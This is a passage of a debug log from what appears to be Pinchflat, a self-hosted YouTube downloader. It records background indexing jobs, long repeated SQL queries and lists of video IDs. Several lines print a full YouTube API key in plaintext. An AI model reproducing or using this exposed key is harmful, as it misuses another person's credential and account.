m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "xxCqvOV-qdU", "luKNGNqXWiU", "9hf6QDQ8Zcc", "MD6_U_hMLt4", "9Eme-c6nqCs", "vankPlotnvE", "QGMjCPjUGlk", "5J9Sd4jJAy4", "HoVsWE1_JUk", "vdL21cIwIaA", "LIBSaNq8qFM", "nw5h-Vdeb6o", "MWy_nCypzFU", "4sLs2bPxwUU", "L7T3eGnzPN4", "HUvKLQpBn0U", "kTdv5qf7KCk", "TAhKuvWrReU", "sjez5hHWYys", "ywzcLeaYSPg", "KA2BT5VZw3k", "mNyKAPKal44", "fsyBvBEwraU", "4ATnadlQex4", "iri2lLTWImE", "d6SPfWamurY", "34P8ibb9wP4", "wvFyNI7PUqY", "yPGhKPOKj3k", "0vguAdTZqWk", "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", ...] 16:54:59.584 [debug] QUERY OK source="media_items" db=1.3ms idle=117.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 16:54:59.584 [debug] QUERY OK source="tasks" db=0.1ms idle=119.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268336, 11, ~U[2026-10-09 21:54:59Z], ~U[2026-10-09 21:54:59Z]] 16:54:59.585 [info] {"args":{"id":11},"id":5268295,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":120816,"event":"job:stop","queue_time":509831,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:54:59.697 [debug] QUERY OK source="media_items" db=0.6ms idle=111.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "h8rgsImRHuQ", "via0_wvzUZY", "DlwsK8hvmO4", "ex6jvnGa9uA", "aLoq_GYrI68", "TObpBJWbl1A", "WXKsP_yYwhE", "HtSsvOpSyT0", "tin9fSraDwI", "wOslLkkRVp8", "5OtS03t-3UM", "0ulic7lyghc", "aY5wQ0nDIgs", "SnNcKZSBZuI", "b_abz1qNqqQ", "re2Y9BQYVm8", "sOwFK6y93XE", "g8DhxTnzy6E", "MAeBbZHStLQ", "b1EwE57OgkI", "BgGXKzxTyRM", "ssaMKXWmYNc", "0-Ib3bm0hr0", "QegdQJxT3wg", "FHrR9JuUmSs", "MkzJIvNqVqI", "yPycoAY64gM", "GLzG9pPai0Q", "_tIXugC9I6Q", "ZLc88XpOidI", "5iGbp98gGIg", "OK3pGLT71jI", "v6nDYccHGL4", "kn6GYMTASUM", "N3LSKJlOFN8", "qg8TRfwmlbQ", "P1bfNN_qQWQ", "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", ...] 16:54:59.698 [debug] QUERY OK source="media_items" db=0.6ms idle=112.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 16:54:59.699 [debug] QUERY OK source="tasks" db=0.1ms idle=107.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268337, 26, ~U[2026-10-09 21:54:59Z], ~U[2026-10-09 21:54:59Z]] 16:54:59.699 [info] {"args":{"id":26},"id":5268296,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":234942,"event":"job:stop","queue_time":320976,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:00.421 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:00.465 [info] {"args":{"id":30},"id":5268297,"meta":{},"system_time":1791582900465197542,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:00.465 [info] {"args":{"id":8},"id":5268298,"meta":{},"system_time":1791582900465241976,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:00.465 [debug] QUERY OK source="sources" db=0.1ms idle=766.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 16:55:00.465 [debug] QUERY OK source="sources" db=0.1ms idle=760.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 16:55:00.465 [debug] QUERY OK source="settings" db=0.2ms idle=44.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:00.465 [debug] QUERY OK source="settings" db=0.2ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:00.466 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:00.466 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:00.466 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:00.466 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 16:55:00.466 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:00.466 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 16:55:00.466 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:00.466 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:00.466 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:00.466 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:00.567 [debug] QUERY OK source="media_items" db=0.3ms idle=100.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 16:55:00.567 [debug] QUERY OK source="media_items" db=0.1ms idle=101.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 16:55:00.568 [debug] QUERY OK source="tasks" db=0.1ms idle=101.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268338, 30, ~U[2026-10-09 21:55:00Z], ~U[2026-10-09 21:55:00Z]] 16:55:00.568 [info] {"args":{"id":30},"id":5268297,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":103266,"event":"job:stop","queue_time":590399,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:00.745 [debug] QUERY OK source="media_items" db=0.7ms idle=176.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 16:55:00.746 [debug] QUERY OK source="media_items" db=0.4ms idle=177.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 16:55:00.747 [debug] QUERY OK source="tasks" db=0.1ms idle=172.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268339, 8, ~U[2026-10-09 21:55:00Z], ~U[2026-10-09 21:55:00Z]] 16:55:00.747 [info] {"args":{"id":8},"id":5268298,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":281985,"event":"job:stop","queue_time":438781,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:01.466 [info] {"args":{"id":34},"id":5268299,"meta":{},"system_time":1791582901466318433,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:01.466 [debug] QUERY OK source="sources" db=0.1ms idle=719.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 16:55:01.466 [debug] QUERY OK source="settings" db=0.1ms idle=719.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:01.467 [debug] QUERY OK source="media_profiles" db=0.0ms idle=713.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:01.467 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:01.467 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 16:55:01.467 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:01.467 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:01.795 [debug] QUERY OK source="media_items" db=0.6ms idle=327.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 16:55:01.796 [debug] QUERY OK source="media_items" db=1.0ms idle=328.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND 